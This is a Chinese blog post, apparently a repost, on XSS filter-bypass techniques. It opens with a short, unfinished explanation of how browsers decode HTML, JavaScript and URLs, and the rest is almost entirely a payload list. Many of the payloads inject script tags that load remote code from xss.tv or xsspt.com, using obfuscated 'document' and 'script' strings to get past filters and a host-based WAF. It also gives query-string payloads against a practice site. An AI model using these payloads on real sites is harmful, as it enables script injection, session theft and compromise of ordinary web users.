【奇淫巧技】XSS绕过技巧

  声明一下:各位大佬不要问我htmlspecialchars怎么绕过,这个函数本身就是用来防御xss攻击的,确实在某些情况下由于开发者的疏忽导致这个函数不起作用(不算绕过),这个有兴趣的可以自行百度,这里不做解释。

  1、首先是弹窗函数:

alert(1)
prompt(1)
confirm(1)
eval(

  2、然后是字符的编码和浏览器的解析机制:

    要讲编码绕过,首先我们要理解浏览器的解析过程,浏览器在解析HTML文档时无论按照什么顺序,主要有三个过程:HTML解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。

    首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这一过程完成HTML解码并创建DOM树,接下来JavaScript解析器会介入对内联脚本进行解析,这一过程完成JS的解码工作,如果浏览器遇到需要URL的上下文环境,这时URL解析器也会介入完成URL的解码工作,URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析。

    三个解析过程所对应的字符编码分别为:HTML解析 => HTML实体编码 、JS解析 => Unicode编码 、URL解析 =>URL编码。

  3、下面我们用实际例子来解释一下以上所说的浏览器解析过程和字符编码是怎么回事,以及今天的重点---XSS绕过。

....暂定

<a href=javascript:alert`1`>click
<button ‘ onclick=alert(1)//>
<button onfocus=alert`122`>
<object data=javascript:alert`1`>
<body/onfocus=alert`9989`>
<input/onfocus=alert`1`>
<svg><script xlink:href=data:,alert(1) />
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<svg/onload=alert(1)>
<x contenteditable onblur=alert(1)>lose focus!
<i contenteditable onblur=alert(1)>lose focus!//contenteditable:使可编辑
<x oncontextmenu=alert(1)>right click this!
<c oncontextmenu=alert(1)>鼠标右键点击
<iframe src="&Tab;javascript:prompt(1)&Tab;">
<ScRipT 1>prompt(1)</ScRipT 123
<input/onfocus=ev\u0061l(\u0061lert(1))>
<input/onfocus=\u0061lert(1)>
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<details ontoggle=alert(1)>
<iframe/src='data:text/html,<svg &#111;&#110;load=alert(1)>'>

<div onscroll=alert`1`>

利用代码:

<img/src=1 onmouseover=s=createElement('\163\143\162\151\160\164');body.appendChild(s);s.src="//xss.tv">

一下是一位大佬的文章,这里直接引用了,有空再整理。

https://bbs.ichunqiu.com/thread-31886-1-1.html
这里的连接字符,我研究出来一些payload,能够script,document等危险字符过滤的情况下,不需要在任何编码的情况下,去构造一个payload

当document被过滤的情况下,又不能用编码
+被过滤,又不能编码
<svg/onload="[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom%27|e|%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom%27%2Be%2B%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom'+e+'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom'-e-'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom'*e*'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom'/e/'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'%e%'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'^e^'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'>e>'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <svg/onload="[1].find(function(){with(`docom'<e<'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"> <script type="text/javascript">   var a = ''>=alert``<='';   var a = ''+alert``+''; </script> <keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xsspt.com/JUvhKT">支持火狐 360, 谷歌失败,过主机卫士 就是下面这些连接符号 输出在script内字符串位置的情况 如果允许闭合字符串,直接闭合并写入javascript即可,如: http://mhz.pw/game/xss/scriptstr.php?xss=%27|alert(1)|%27 http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|' http://t.mhz.pw/game/xss/scriptstr.php?xss=%27%2Balert(1)%2B%27 http://t.mhz.pw/game/xss/scriptstr.php?xss='+alert(1)+' http://t.mhz.pw/game/xss/scriptstr.php?xss='-alert(1)-' http://t.mhz.pw/game/xss/scriptstr.php?xss='*alert(1)*' http://t.mhz.pw/game/xss/scriptstr.php?xss='/alert(1)/' http://t.mhz.pw/game/xss/scriptstr.php?xss='%alert(1)%' http://t.mhz.pw/game/xss/scriptstr.php?xss='^alert(1)^' http://t.mhz.pw/game/xss/scriptstr.php?xss='>alert(1)>' http://t.mhz.pw/game/xss/scriptstr.php?xss='<alert(1)<' http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)>=' http://t.mhz.pw/game/xss/scriptstr.php?xss='<=alert(1)<=' http://t.mhz.pw/game/xss/scriptstr.php?xss='==alert(1)==' http://t.mhz.pw/game/xss/scriptstr.php?xss='===alert(1)===' http://t.mhz.pw/game/xss/scriptstr.php?xss='!=alert(1)!=' http://t.mhz.pw/game/xss/scriptstr.php?xss='!==alert(1)!==' http://t.mhz.pw/game/xss/scriptstr.php?xss='%26alert(1)%26' http://t.mhz.pw/game/xss/scriptstr.php?xss='&alert(1)&' http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|' http://t.mhz.pw/game/xss/scriptstr.php?xss='||alert(1)||' http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)<=' <svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"> <svg/onload=[1].find(function(){with(/do/.source+/cument/.source)body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(/docomen/.source+/t/.source);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`/docomen/.source+/t/.source`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`/docomen/.1+/t/.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /字符/.1+/字符/.1 字符加上字符 //.1 + //.1 这些只是连接字符的方式而已 ,总结起来就是 document而已 <svg/onload=[1].find(function(){with(`\docomen\.1+\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> / 换成 \ 也可以 <svg/onload=[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要加号也可以 <svg/onload=[1].find(function(){with(`=docomen=.1+=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /换成=号也可以 <svg/onload=[1].find(function(){with(`=docomen=.1=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要加号也可以 <svg/onload=[1].find(function(){with(`^docomen^.1+^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /换成^号也可以 <svg/onload=[1].find(function(){with(`^docomen^.1^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`|docomen|.1+|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /换成|号也可以 <svg/onload=[1].find(function(){with(`|docomen|.1|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`&docomen&.1+&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /换成&号也可以 <svg/onload=[1].find(function(){with(`&docomen&.1&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`%26docomen%26.1+$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /换成%26也行 <svg/onload=[1].find(function(){with(`%26docomen%26.1$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要引号也行 Body加上括号也行 <svg/onload=[1].find(function(){with(`docomen`);(body.appendChild(createElement('script'))).src='http://xss.tv/XA'})> <body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,102,98,105,115,98,46,99,111,109,47,48,71,73,103,62,60,47,115,99,114,105,112,116,62))> <svg/onload=[1].find(function(){with('docu'==='ment');body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

猜你喜欢

转载自www.cnblogs.com/fox-yu/p/8916497.html